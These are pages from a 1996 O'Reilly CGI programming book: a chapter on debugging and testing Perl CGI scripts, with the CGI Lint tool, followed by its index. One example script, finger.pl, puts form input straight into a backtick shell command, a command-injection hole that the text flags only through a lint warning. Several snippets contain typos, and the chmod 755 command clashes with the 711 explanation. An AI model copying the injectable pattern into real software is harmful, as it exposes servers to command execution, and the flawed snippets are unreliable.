http://some.machine.com/cgi-bin/clock.tcl
http://my.machine.edu/my-cgi-apps/clock.pl
http://your.machine.org/index.cgi
http://their.machine.net/cgi-bin/animation.pl

If you picked the last three, then you are correct! Let's look at why this so. The first one will not get executed because the script is neither in a recognized directory (my-cgi-apps), nor does it have a valid extension (.cgi or .pl). The second one refers to the correct CGI directory, while the last two have valid extensions.

Missing Interpreter Line

If your CGI application is a script of some sort (a C Shell, Perl, etc.), it must contain a line that begins with #! (a "sharp-bang," or "shebang"), or else the server will not know what interpreter to call to execute the script. You don't have to worry about this if your CGI program is written in C/C++, or any other language that creates a binary. This leads us to another closely related problem, as we will soon see.

File Permission Problems

The CGI script must be executable by the server. Most servers are set up to run with the user identification (UID) of "nobody," which means that your scripts have to be world executable. The reason for this is that "nobody" has minimal privileges. You can check the permissions of your script on UNIX systems by using the ls command:

% ls -ls /usr/local/bin/httpd_1.4.2/cgi-bin/clock.pl
   4 -rwx------  1 shishir      3624 Aug 17 17:59 clock.pl*

The second field lists the permissions for the file. This field is divided into three parts: the privileges for the owner, the group, and the world (from left to right), with the first letter indicating the type of the file: either a regular file, or a directory. In this example, the owner has sole permission to read, write, and execute the script.

If you want the server (running as "nobody") to be able to execute this script, you have to issue the following command:

% chmod 755 clock.pl
   4 -rwx--x--x  1 shishir      3624 Aug 17 17:59 clock.pl*

The chmod command modifies the permissions for the file. The octal code of 711 indicates read (octal 4), write (octal 2), and execute (octal 1) permissions for the owner, and execute permissions for group members and all other members.

Malformed Header from Script

All CGI applications must output a valid HTTP header, followed by a blank line, before any other data. In other words, two newline characters have to be output after the header. Here is how the output should look:

Content-type: text/html
<HTML>
<HEAD><TITLE>Output from CGI Script</TITLE></HEAD>
.
.
.

The headers must be output before any other data, or the server will generate a server error with a status of 500. So make it a habit to output this data as early in the script as possible. To make it easier for yourself, you can use a subroutine like the following to output the correct information:

sub output_MIME_header
{
    local ($type) = @_;
    print "Content-type: ", $type, "\n\n";
}

Just remember to call it at the beginning of your program (before you output anything else). Another problem related to this topic has to do with how the script executes. If the CGI program has errors, then the interpreter, or compiler, will produce an error message when trying to execute the program. These error messages will inevitably be output before the HTTP header, and the server will complain.

What is the moral of this? Make sure you check your script from the command line before you try to execute it on the Web. If you are using Perl, you can use the -wc switch to check for syntax errors:

% perl -wc clock.pl
syntax error in file clock.pl at line 9, at EOF
clock.pl had compilation errors.

If there are no errors (but there are warnings), the Perl interpreter will display the following:

% perl -wc clock.pl
Possible typo: "opt_g" at clock.pl line 9.
Possible typo: "opt_u" at clock.pl line 9.
Possible typo: "opt_f" at clock.pl line 9.
clock.pl syntax OK

Warnings indicate such things as possible typing errors or use of uninitialized variables. Most of the time, these warnings are benign, but you should still take the time to look into them. Finally, if there are no warnings or errors to be displayed, Perl will output the following:

% perl -wc clock.pl
clock.pl syntax OK

So it is extremely important to check to make sure the script runs without any errors on the command line before trying it out on the Web.

Previous | Home | Next
Calendar Manager | Book Index | Programming/System Errors
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 12] 12.2 Programming/System Errors

CGI Programming on the World Wide Web

Previous Chapter 12
Debugging and Testing CGI Applications 		Next

12.2 Programming/System Errors

Now that we have looked at some of the common errors in CGI application design, let's focus on programming errors that can cause unexpected results. There is one extremely important point that you should be aware of:

Always check the return value of all the system commands, including eval, open, and system.

What does this mean? The next few sections will describe some of the programming errors that occur frequently if you are not careful.

Opening, Reading, and Writing Files

Since the server is running as a user that has minimal privileges (usually "nobody"), you must be careful when reading from or writing to files. Here is an example:

open (FILE, "<" . "/usr/local/httpd_1.4.2/data");
while (<FILE>) {
    print;
}
close (FILE);

Now, what if the file that you are trying to read is not accessible? The file handle FILE will not be created, but the while loop tries to iterate through that file handle. Fortunately, Perl does not get upset, but you will not have any data. So, it is always better to check the status of the open command, like this:

open (FILE, "<" . "/usr/local/httpd_1.4.2/data") ||
    &call_some_subroutine ("Oops! The read failed. We need to do something.");

This will ensure that the subroutine call_some_subroutine gets called if the script cannot open the file. Now, say you want to write to an output file:

open (FILE, ">" . "/usr/local/httpd_1.4.2/data");
print FILE "Line 1", "\n;
print FILE "Line 2", "\n";
close (FILE);

Again, you should check for the status of the open command:

open (FILE, ">" . "/usr/local/httpd_1.4.2/data") ||
        &call_some_subroutine ("Oops! The write failed.
                We need to do something".);

This is true when doing such tasks as updating a database or creating a counter data file. In order for the server to write to a file, it has to have write privileges on the file as well as the directories in which the file is located.

Pipes and the open Command

We used pipes to perform data redirection in numerous examples in this book. Unlike files, there is no easy way to check to see if the contents of the pipe have been successfully executed. Let's take a look at a simple example:

open (FILE, "/usr/bin/cat /home/shishir/.login |")
                || &call_some_subroutine ("Error opening pipe!");
while (<FILE>) {
    print;
}
close (FILE);

If the cat command cannot be found by the shell, you might expect that an error status will be returned by the open command, and thus the call_some_subroutine function will be called. However, this is not the case. An error status will be returned only if a pipe cannot be created (which is almost never the case). Due to the way the shell operates, the status of the command is available only after the file handle is closed. Here is an example:

open (FILE, "/usr/bin/cat /home/shishir/.login |")
    || &call_some_subroutine ("Error opening pipe!");
while (<FILE>) {
    print;
}
close (FILE);
if ($?) {
    &call_some_subroutine ("Error in executing command!");
}

Once the file handle is closed, Perl saves the return status in the variable $?. This is the method that you should use for all system commands.

There is another method for determining the status of the pipe before the file handle is closed, though it is not always 100% reliable. It involves checking the process ID (PID) of the process that is spawned by the open command:

$pid = open (FILE, "/usr/bin/cat /home/shishir/.login |");
sleep (2);
$status = kill 0, $pid;
if ($status) {
    while (<FILE>) {
        print;
    }
    close (FILE);
} else {
    &call_some_subroutine ("Error opening pipe!");
}

This is a neat trick! The kill statement with an argument of 0 checks the status of the process. If the process is alive, a value of 1 is returned. Otherwise, a 0 is returned, which indicates that the process is no longer alive. The sleep command ensures a delay so that the value returned by kill reflects the status of the process.

Previous | Home | Next
Common Errors | Book Index | Environment Variables
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 12] 12.3 Environment Variables

CGI Programming on the World Wide Web

Previous Chapter 12
Debugging and Testing CGI Applications 		Next

12.3 Environment Variables

If you look back to the counter CGI applications in previous chapters, you will see that we saved the counter data in a text file. Some CGI programmers want to avoid using a file, and try to store the information in an environment variable. So they write code that resembles the following:

if ($ENV{'COUNTER'}) {
    $ENV{'COUNTER'}++;
} else {
    $ENV{'COUNTER'} = 1;
}

To their surprise, however, the counter value is always the same (1, in this case). The point behind this is that you cannot save any environment variables directly from Perl, although it is possible to do so by invoking the shell.

Basically, when a Perl program is started, a child process is created. And the cardinal rule in UNIX is that child processes cannot permanently affect their parent shell.

Previous | Home | Next
Programming/System Errors | Book Index | Logging and Simulation
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 12] 12.4 Logging and Simulation

CGI Programming on the World Wide Web

Previous Chapter 12
Debugging and Testing CGI Applications 		Next

12.4 Logging and Simulation

At this point, you might be wondering where all the CGI errors get logged. If you are using the NCSA server, the log files directory is the place that holds them. You can manually place debugging messages into the error_log file by doing the following:

print STDERR "Calendar v1.0 - Just about to calculate center", "\n";
$center = ($diameter / 2) + $x_offset;
print STDERR "Calendar v1.0 - Finished calculating. Center = ", $center, "\n";

After the program is finished, you can look at the log file to see the various debugging messages. It is a good practice to insert the name of your program into the message, so you can find it among all of the different messages logged to the file. Another trick you can use is to "dupe" (or duplicate) standard error to standard output:

print "Content-type: text/plain", "\n\n";
open (STDERR, ">&" . STDOUT);
print STDERR "About to execute for loop", "\n";
for ($loop=0; $loop <= 10; $loop++) {
    $point[$loop] = ($loop * $center) + $random_number;
    print STDERR "Point number ", $loop, " is ", $point[$loop], "\n";
}
close (STDERR);

In this case, the errors generated by the CGI program will go to the browser as well as to the log file.

Client Simulation

In order to get a good feel for how the Web works, you should connect to a server and simulate a client's actions. You can do this by using the telnet protocol. Here is an example:

% telnet www.ora.com 80
Trying 198.112.208.13 ...
Connected to amber.ora.com.
Escape character is '^]'.
GET / HTTP/1.0
<HTML><HEAD>
  <TITLE>O'Reilly Home Page</TITLE>
</HEAD><BODY>
<P><A HREF="http://bin.gnn.com/cgi-bin/imagemap/radio">
<IMG SRC="/gnn/bus/ora/radio.gif"  ALT="" ISMAP></A>
.
.
.
</BODY></HTML>
Connection closed by foreign host.

You can enter other HTTP commands as well. But remember that HTTP is a stateless protocol. In other words, you can issue only one request, after which the server terminates the connection. Now let's look at the issues behind server simulation.

Server Simulation

If you do not have access to a server on a full-time basis, you can simulate the features of a server quite easily. Before we look at how this can be accomplished, let's look briefly at what the server actually does:

  • Gets a request from the client to serve a resource (either a file or a CGI program).

  • Checks to see if the file is a CGI script.

  • If it is, passes various environment variables/input stream to the CGI program, and waits for output.

  • Sends the output from either a regular file or CGI to the client.

In order to test CGI scripts, all we would have to do is emulate the third step in this process. Let's look at a typical GET request. First, we have to create a file to set the environment variables (e.g., environment.vars). Here is how you can do it in the C shell:

setenv REQUEST_METHOD     'GET'
setenv QUERY_STRING       'name=John%20Surge&company=ABC%20Corporation%21'
setenv HTTP_ACCEPT        'image/gif, image/x-xbitmap, image/jpeg, */*'
setenv SERVER_PROTOCOL    'HTTP/1.0'
setenv REMOTE_ADDR        '198.198.198.198'
setenv DOCUMENT_ROOT      '/usr/local/bin/httpd_1.4.2/public'
setenv GATEWAY_INTERFACE  'CGI/1.1'
setenv REQUEST_METHOD     'GET'
setenv SCRIPT_NAME        '/cgi-bin/abc.pl'
setenv SERVER_SOFTWARE    'NCSA/1.4.2'
setenv REMOTE_HOST        'gateway.cgi.com'

In a Bourne-compatible shell (such as Korn shell, bash, or zsh), the previous commands will not work. Instead, you need the following syntax:

export REQUEST_METHOD = 'GET'
export QUERY_STRING =  'name=John%20Surge&company=ABC%20Corporation%21'
.
.
.

Then, we have to execute this script with the following command (assuming the commands are stored in the file environment.vars) in the C shell:

% source environment.vars

In a Bourne-compatible shell, you need to do the following:

% . environment.vars

Now, you can simply run your CGI script, and it should work as though it was being executed by the server. For POST requests, the process is slightly different. You first have to create a file that contains the POST information (e.g., post_data.txt):

name=John%20Surge&company=ABC%20Corporation%21&sports=Basketball&
exercise=3&runners=no

Once that is done, you need to determine the content length (or the size in bytes) of the data. You can do that with the wc command:

% wc -c post_data.txt
   86

Then you need to add the following two lines to the environment variable file that we created above (assuming C shell):

setenv REQUEST_METHOD     'POST'
setenv CONTENT_LENGTH     '86'

Now all you have to do is send the data in the file to the CGI program through a pipe:

% /usr/local/bin/httpd_1.4.2/cgi-bin/abc.pl < post_data.txt

That's all there is to it. The CGI Lint application automates this procedure, as we will see next.

Previous | Home | Next
Environment Variables | Book Index | CGI Lint--A Debugging/Testing Tool
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 12] 12.5 CGI Lint--A Debugging/Testing Tool

CGI Programming on the World Wide Web

Previous Chapter 12
Debugging and Testing CGI Applications 		Next

12.5 CGI Lint--A Debugging/Testing Tool

CGI Lint greatly simplifies the process of testing and debugging CGI applications. Appendix E, Applications, Modules, Utilities, and Documentation, lists where you can get CGI Lint.

Depending on the type of request (either GET or POST), either one or two auxiliary files are required by CGI Lint. The first is a configuration file, which should contain a list of the environment variables in the following format:

REQUEST_METHOD     =   GET
QUERY_STRING       =   name=John Surge&company=ABC Corporation!
HTTP_ACCEPT        =   image/gif, image/x-xbitmap, image/jpeg, */*
SERVER_PROTOCOL    =   HTTP/1.0
REMOTE_ADDR        =   198.198.198.198
SERVER_ROOT        =   /usr/local/bin/httpd_1.4.2
DOCUMENT_ROOT      =   /usr/local/bin/httpd_1.4.2/public
GATEWAY_INTERFACE  =   CGI/1.1
SCRIPT_NAME        =   /cgi-bin/abc.pl
SERVER_SOFTWARE    =   NCSA/1.4.2
REMOTE_HOST        =   gateway.cgi.com

This format has an advantage over the previous one: You do not need to encode the query string. However, if you have either %, &, or = characters in the query string, you need to escape them by placing a "\" before them:

QUERY_STRING       =   name=Joe\=Joseph&company=JP \& Play&percentage=50\%

Or you can just use the encoded values of %25, %26, and %3d to represent the "%," "&," and "=" characters, respectively. Now, you are ready to test out your CGI program:

% CGI_Lint get.cfg

CGI Lint executes the script that is pointed to by the environment variables SCRIPT_NAME and SERVER_ROOT. In addition, you can use a data file to store query information. Here is an example:

% CGI_Lint form.cfg form.data

The format for the data file should be:

name = Joe\=Joseph
company = JP \& Play
percentage = 50\%

If you already have data stored in QUERY_STRING, CGI Lint will process the data from both sources. In the case of POST requests, all you have to do is change the REQUEST_METHOD to "POST" and run it in the same exact way as before:

% CGI_Lint form.cfg form.data

In addition, you can test the multipart/form-data encoding scheme (see Appendix D, CGI Lite), which is a new addition to the Web. For multipart MIME data, you need to add the following line to the configuration file:

CONTENT_TYPE = multipart/form-data

Normally, multipart data contains boundary strings between fields, but you do not have to go to the trouble of inserting the numerous multipart headers. CGI Lint takes care of all that for you. Now, here is the format for the data file:

name = Joe = Joseph
company = JP & Play
percentage = 50%
review = */usr/shishir/rev.dat

You would execute the script in the same way as you did all the others. CGI Lint reads through the fields and creates a multipart MIME body:

-----------------------------78198732381
Content-disposition: form-data; name="name"
Joe = Joseph
-----------------------------78198732381
Content-disposition: form-data; name="company"
JP & Play
-----------------------------78198732381
Content-disposition: form-data; name="percentage"
50%
-----------------------------78198732381
Content-disposition: form-data; name="review"; filename="/usr/ shishir/rev.dat"
.
.
(contents of the file /home/shishir/rev.dat)
.
.
-----------------------------78198732381--

One thing to note here is the last line of the data file. The asterisk instructs the tool to include the information stored in the file /usr/shishir/review.dat. That is one of the powerful features of multipart messages: it allows users to upload files to the server.

In addition to simulating the server data streams, CGI Lint also checks a number of attributes and properties before running the script.

CGI Lint in Action

Let's take a simple CGI program and run it through CGI Lint, and see what happens. Here is the program-it should be familiar to you, as it was introduced at the end of Chapter 7, Advanced Form Applications:

#!/usr/local/bin/perl
&parse_form_data(*simple);
$user = $simple{'user'};
print "Content-type: text/plain", "\n\n";
print "Here are the results of your query: ", "\n";
print `/usr/ucb/finger $user`;
print "\n";
exit (0);

This program outputs finger information about the specified user. Here is the form that is associated with the program:

<FORM ACTION="/cgi-bin/finger.pl" METHOD="POST">
<INPUT TYPE="text" NAME="user" SIZE=40>
<INPUT TYPE="submit" VALUE="Get Information">
</FORM>

Now, let's create the configuration and data files, to be used with CGI Lint. The configuration file must contain the following lines:

REQUEST_METHOD = POST
SERVER_ROOT = /usr/local/bin/httpd_1.4.2
    SCRIPT_NAME = /cgi-bin/finger.pl

Since the form passes the information to the program using POST, we need to create a data file to hold the post data. It needs to consist of only one line:

user = shishir

This is equivalent to the user entering "shishir" in the user field in the form. That is all that needs to be done. Here is how you would execute CGI Lint (assuming that the configuration file is called finger.cfg, and the data file is called finger.dat):

% CGI_Lint finger.cfg finger.dat

CGI Lint will output the following information:

While looking at your Perl script for possible security holes and
"open" commands, I came across the following statements that *might*
constitute a security breach:
================================================================================
Check the *backtics* on line: print `/usr/ucb/finger $user`;
Variable(s) *may* not be secure!
================================================================================

It looks as though your script has no bugs (at least, on the surface),
so here is the output you have been waiting for:
================================================================================
Here are the results of your query: <BR><HR>
Login name: shishir                     In real life: Shishir Gundavaram
Directory: /home/shishir                Shell: /usr/local/bin/tcsh
On since Oct 26 23:11:27 on ttyp0 from nmrc.bu.edu
Mail last read Mon Oct 27 00:03:54 1995
No Plan.
<HR>
================================================================================

It will display the output generated by the CGI program. It also outputs various other information, including possible security holes. Here is a list of the exact informational messages that CGI Lint outputs:

  • The configuration file (that holds the environment variable data) could not be found. This file is needed to run this program. Please check and try again.

  • The NCSA server resource map configuration file (srm.conf) could not be found. This might be due to the way your server is set up. In order to rectify the situation, define a variable called SERVER_ROOT (with the correct server root directory) in the configuration file, and try again.

  • Sorry, either the file extension or the path to your CGI script is not valid. Check both of these to make sure they are configured in the NCSA server resource map configuration (srm.conf) file.

  • You do not have the necessary privileges to run the specified script. Use the chmod command to change the permissions, and try again.

  • The CGI program that is specified in the configuration file does not exist. Please check the path, and try again.

  • The CGI program that is specified could not be opened. Please check the permissions and try again.

  • The interpreter you specified either does not exist, is not readable, or is not a binary file. Please check the path, and try again.

  • The script you specified does not have a header line that points to a interpreter that will execute the script. The header line should be something like this:

    #!/usr/local/bin/perl

  • Oops! The script you wrote had errors. I will list all the bugs here. Please fix them and try again. Here they are:

  • While looking at your Perl script for possible security holes and "open" commands, I came across the following *errors*:

  • While looking at your Perl script for possible security holes and "open" commands, I came across the following statements that *might* constitute a security breach:

  • The data file (that holds the potential form data) could not be found. Please check the file specification and try again.

  • A data file to store the simulated POST data cannot be created. Please check to see if you have privileges to write to the /tmp directory.

  • One of the filenames that you listed in the simulated multipart data file does not exist. Be sure to check all possible fields, and try again.

  • The CONTENT_TYPE variable in your data file is not set correctly. You do not have to set a value for this, as I will default it to:

    application/x-www-form-urlencoded

    But, if you do set a value for this variable, it has to be either the one mentioned above, or:

    multipart/form-data

    If you specify an encoding type of multipart/form-data in the configuration file, I will create a random boundary, and set the CONTENT_TYPE to the following:

    multipart/form-data; boundary=--------------Some Random Boundary

  • The REQUEST_METHOD variable in your data file is not set correctly. It has to have a value of either GET or POST.

  • Your NPH (Non-Parsed-Header) script does not output the correct HTTP response. The first line has to be something like:

    HTTP/1.0 200 OK

  • A serious error! Either you are not outputting a **BLANK** line after the HTTP headers, *OR* you are trying to send invalid (or undefined) HTTP headers. Please check the output of your script and try again.

  • It looks as though your script has no bugs (at least, on the surface), so here is the output you have been waiting for:

  • The *system* command was detected in your script. Make sure to turn output buffering off by adding the following line to your script:

    $| = 1;

Previous | Home | Next
Logging and Simulation | Book Index | Set UID/GID Wrapper
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 12] 12.6 Set UID/GID Wrapper

CGI Programming on the World Wide Web

Previous Chapter 12
Debugging and Testing CGI Applications 		Next

12.6 Set UID/GID Wrapper

Now that we have a debugging/lint tool for CGI programs, how do we set this up so that it executes as the same UID as that of the Web server? If the Web server runs with your own UID, then you do not have to do anything. But, if it runs as some other UID, say "nobody" or "www," then you have to ask the system administrator to run a script called wrapper, which sets the UID/GID bits. Let's quickly look at this script.

The wrapper is based on a program in the book Programming Perl by Larry Wall and Randal Schwartz (two of the most knowledgable Perl gurus around). Here is the format for the wrapper command:

% wrapper -f /usr/local/bin/CGI_Lint -u nobody -g none

The -f switch specifies the filename to use, while the -u and the -g switches set the UID and GID, respectively. You could also use numerical identification numbers:

% wrapper -f /usr/local/bin/CGI_Lint -u 628120 -g 120

This will create a C executable with the specified UID and GID bits set, that will, in turn, run the CGI script.

Previous | Home | Next
CGI Lint--A Debugging/Testing Tool | Book Index | Perl CGI Programming FAQ
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


CGI Programming on the World Wide Web

CGI Programming on the World Wide Web
By Shishir Gundavaram; ISBN: 1-56592-168-2, 433 pages.
First Edition, March 1996.

Table of Contents
Preface
Chapter 1: The Common Gateway Interface (CGI)
Chapter 2: Input to the Common Gateway Interface
Chapter 3: Output from the Common Gateway Interface
Chapter 4: Forms and CGI
Chapter 5: Server Side Includes
Chapter 6: Hypermedia Documents
Chapter 7: Advanced Form Applications
Chapter 8: Multiple Form Interaction
Chapter 9: Gateways, Databases, and Search/Index Utilities
Chapter 10: Gateways to Internet Information Servers
Chapter 11: Advanced and Creative CGI Applications
Chapter 12: Debugging and Testing CGI Applications

Appendix A: Perl CGI Programming FAQ
Appendix B: Summary of Regular Expressions
Appendix C: CGI Modules for Perl 5
Appendix D: CGI Lite
Appendix E: Applications, Modules, Utilities, and Documentation

Index
Examples - Warning: this directory includes long filenames which may confuse some older operating systems (notably Windows 3.1).

Search the text of CGI Programming on the World Wide Web.

Web Reference Library HTML: The Definitive Guide JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell

Copyright © 1996, 1997 O'Reilly & Associates. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Symbols and Numbers

200 (Success) code
Status Codes
Checking Hypertext (HTTP) Links
204 (No Response) code
The "No Response" Code
Graphics
211 (Success) code : Network News on the Web
221 (Success) code : Network News on the Web
222 (Success) code : Network News on the Web
301 (Document Moved) code : Status Codes
401 (Unauthorized) code
Status Codes
Checking Hypertext (HTTP) Links
403 (Forbidden) code : Status Codes
404 (Not Found) code
Status Codes
Checking Hypertext (HTTP) Links
500 (Internal Server Error) code
What should I do when I get a "Serv...
Status Codes
Tcl
501 (Not Implemented) code : Status Codes
& character
to delimit field information : Submit and Reset Buttons
in key-value pairs : Sending Data to the Server
`` command : C Shell
: (colon), separating Macintosh directories : AppleScript
$| variable : Digital Clock
<!--# directives (see server side includes)
% for date/time format : Tailoring SSI Output
# (pound sign)
in server side includes : Common Errors
with uncgi : C Shell (csh)
? in query strings : Query Strings
; (semicolon) to delimit cookies : Netscape Persistent Cookies
\\n (newline character) : Multipart Forms
\\r (carriage return) : Multipart Forms

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

A

accept types : Accept Types and Content Types
access counters
How do I write an access counter script?
User Access Counter
graphic
Graphic Counter
for web server
Web Server Accesses
Web Server Accesses
access, domain-based
Restricting Access for Specified Domains
access.conf file : Restricting Access for Specified Domains
accessing information (see gateways)
ACTION attribute (<FORM>)
The FORM Tag
Guestbook
Hidden Fields
with submit buttons : Submit and Reset Buttons
addPt method : System Load Average
addresses, user (see REMOTE_ADDR variable)
AddType directive
Running CGI Scripts
Configuration
Creating Dynamic Home Pages
alarm command (Perl) : Archie
&AF_INET subroutine
Socket I/O in Perl
&SOCK_DGRAM subroutine
Socket I/O in Perl
&SOCK_STREAM subroutine
Socket I/O in Perl
ampersand (&)
in key-value pairs : Sending Data to the Server
analog clock program
Final PostScript Example: Analog Clock
Analog Clock
animated clock program
Animated Clock
animation
Animation
Server Push
<ANSWER> tags : Quiz/Test Form Application
Apache server : WWW Server Information
append mode, files : CGI Side Includes
Apple Macintosh (see Macintosh)
AppleScript
AppleScript (Macintosh Only)
Other Languages on Macintosh Servers
decoding forms in
AppleScript
applications (see programs, CGI)
Archie
Some Working CGI Applications
Overview
Archie
articles, news (see NNTP)
<ASK> tag : Quiz/Test Form Application
authentication
of domains
Restricting Access for Specified Domains
of users : User Authentication and Identification
AUTH_TYPE variable : Using Environment Variables
average system load
Another Example: System Load Average
System Load Average
awk utility
C Shell (UNIX Only)
C Shell

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

B

<B> (boldface) tags : Quiz/Test Form Application
Base.pm module
Base.pm
BasePlus.pm module
BasePlus.pm
bash, setting environment variables in : Server Simulation
bdiv subroutine : Counting Days Until . . .
Beattie, Malcolm : Graphics
binary files : The Content-length Header
boilerplates : Including Boilerplates
boldface <B> tags : Quiz/Test Form Application
BoundingBox statement : Digital Clock
Bourne shell, setting environment variables : Server Simulation
<BR> (line break) tag : Hidden Fields
browsers, web (see web browsers)
BSD UNIX, sockets in : Overview
bsub subroutine : Counting Days Until . . .
Burke, Maggie : AppleScript
buttons
checkboxes
Form Creation and Parsing
Radio Buttons and Checkboxes
on forms
Submit and Reset Buttons
Radio Buttons and Checkboxes

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

C

C programming language
When is a Perl CGI program too comp...
C/C++ (UNIX, Windows, Macintosh)
C/C++
decoding forms in
C/C++
C/C++ decoding using libcgi
inability to pattern-match : C/C++ decoding using uncgi
C shell (csh)
C Shell (UNIX Only)
C Shell
decoding forms in
C Shell (csh)
setting environment variables : Server Simulation
C++ programming language
When is a Perl CGI program too comp...
C/C++ (UNIX, Windows, Macintosh)
C/C++
decoding forms in
C/C++
C/C++ decoding using libcgi
caching documents : The "Expires" and "Pragma" Headers
cal utility : Main Program
calendar manager
Calendar Manager
Graphics
canned queries : GET vs. POST
Carp.pm module
Carp.pm
carriage return (\r) : Perl (UNIX, Windows, Macintosh)
carriage return (\\r) : Multipart Forms
cat command : Pipes and the open Command
CERN server : WWW Server Information
configuring SSI for
Configuring SSI for the CERN Server
setting up CGI directory for : Running CGI Scripts
CGI (Common Gateway Interface)
applications (see programs, CGI)
modules
Should I use the Perl CGI modules t...
CGI Modules for Perl 5
Form Creation and Parsing
CGI Software
official specificiations for : Official Specifications
scripts (see programs, CGI)
CGI Lint
Software Developed for the Book
CGI Lint--A Debugging/Testing Tool
CGI Lint in Action
CGI Lite
CGI Lite
Multipart Forms
Software Developed for the Book
CGI side includes
CGI Side Includes
CSI Statements and Hidden Fields
cgi-bin directory
Where does my Perl CGI program have...
Internal Workings of CGI
cgi-lib.pl library : What CGI or WWW libraries are avail...
CGI.BAS library : Visual Basic
cgi.h header file : C/C++ decoding using libcgi
CGI_Main function (VB) : Visual Basic
char method : Graphic Counter
checkboxes
Form Creation and Parsing
Radio Buttons and Checkboxes
CHECKED attribute (<INPUT>)
Radio Buttons and Checkboxes
Quiz/Test Form Application
child processes
Forking/Spawning Child Processes
chmod command : File Permission Problems
<CHOICE> tag : Quiz/Test Form Application
client pull
Animation
Client Pull
clients (see web browsers)
browsers as (see web browsers)
cookie
Cookie Client
simulating
Client Simulation
clock
analog (gd graphics)
Analog Clock
analog (PostScript)
Final PostScript Example: Analog Clock
animated
Animated Clock
digital (gd graphics)
Digital Clock
digital (PostScript)
Digital Clock
Inserting Multiple Dynamic Images
close command : Creating Dynamic Home Pages
close_connection subroutine : Socket Library
colon (:), separating Macintosh directories : AppleScript
Coloring Book : Some Working CGI Applications
complete headers
Complete (Non-Parsed) Headers
Concentration game program
Game of Concentration
config command (SSI)
Introduction
Tailoring SSI Output
configuring
for server side includes : Configuration
web server : Configuring the Server
Content-length header
CGI and Response Headers
The Content-length Header
Web Server Accesses
CONTENT_TYPE variable : Using Environment Variables
Content-type header
Internal Workings of CGI
About This Server
CGI and Response Headers
Accept Types and Content Types
CONTENT_LENGTH variable
Using Environment Variables
The GET and POST Methods
Understanding the Decoding Process
cookies : CGI Side Includes
as clients
Cookie Client
expiring : Cookie Server
magic
CGI Side Includes
Magic Cookies
persistent
Netscape Persistent Cookies
server for
Maintaining State with a Server
Cookie Client
counters
access
How do I write an access counter script?
User Access Counter
graphic
Graphic Counter
for web server
Web Server Accesses
Web Server Accesses
decremental : Counting Days Until . . .
CPAN (Comprehensive Perl Archive Network) archives : Software Developed for the Book
creating databases : Creating a database
csh (see C shell)
CSIs (see CGI side includes)
customizing SSI output : Tailoring SSI Output

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

D

data redirection (see server redirection)
data, encoded
Encoded Data
databases
accessing (see gateways)
in calendar manager
The Database
Oracle
A Gateway to an Oracle Database
relational
Relational Databases
Accessing a Sybase Database
Sprite
Software Developed for the Book
Sprite
Student database
Sybase
Accessing a Sybase Database
datebook program
Calendar Manager
Graphics
dates
counting : Counting Days Until . . .
environment variables : Counting Days Until . . .
formatting : Tailoring SSI Output
in guestbooks (see guestbooks)
DATE_GMT variable
Environment Variables
DATE_LOCAL variable
Environment Variables
DBperl : A Gateway to an Oracle Database
DBPerl : Utilities and Applications
debugging CGI programs
How do I debug my Perl CGI program ...
Debugging and Testing CGI Applications
Set UID/GID Wrapper
CGI Lint tool
CGI Lint--A Debugging/Testing Tool
CGI Lint in Action
logging errors
Logging and Simulation
Server Simulation
delete command : Cookie Server
deleting from databases : Deleting information
dePlus osax (see osax)
digital clock program
Digital Clock
Inserting Multiple Dynamic Images
Digital Clock
directories, unrecognized : CGI Script in Unrecognized Directory
division by zero : Drawing the Pie Chart
"Document Moved" status code : Status Codes
documentation, gateway for
UNIX Manual Page Gateway
DOCUMENT_NAME variable : Environment Variables
DOCUMENT_ROOT variable
Using Environment Variables
Check the Client Browser
Extra Path Information
DOCUMENT_URI variable : Environment Variables
domains, restricting access to
Restricting Access for Specified Domains
double quotes (qq/../ construct) : Mail Gateway
dynamic
documents
Virtual Documents
Creating Dynamic Home Pages
Final PostScript Example: Analog Clock
caching : The "Expires" and "Pragma" Headers
imagemaps
The imagemap display
images, multiple : Inserting Multiple Dynamic Images
information
access counters
User Access Counter
Graphic Counter
CGI side includes
CGI Side Includes
CSI Statements and Hidden Fields
clocks (see clock)
dynamic information (see also server side includes)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

E

-e operator : Graphic Counter
echo command
Introduction
Environment Variables
electronic mail (see mail)
EMWACS server : Other Languages Under Microsoft Windows
Encapsulated PostScript (EPS) : Digital Clock
encoded data
Encoded Data
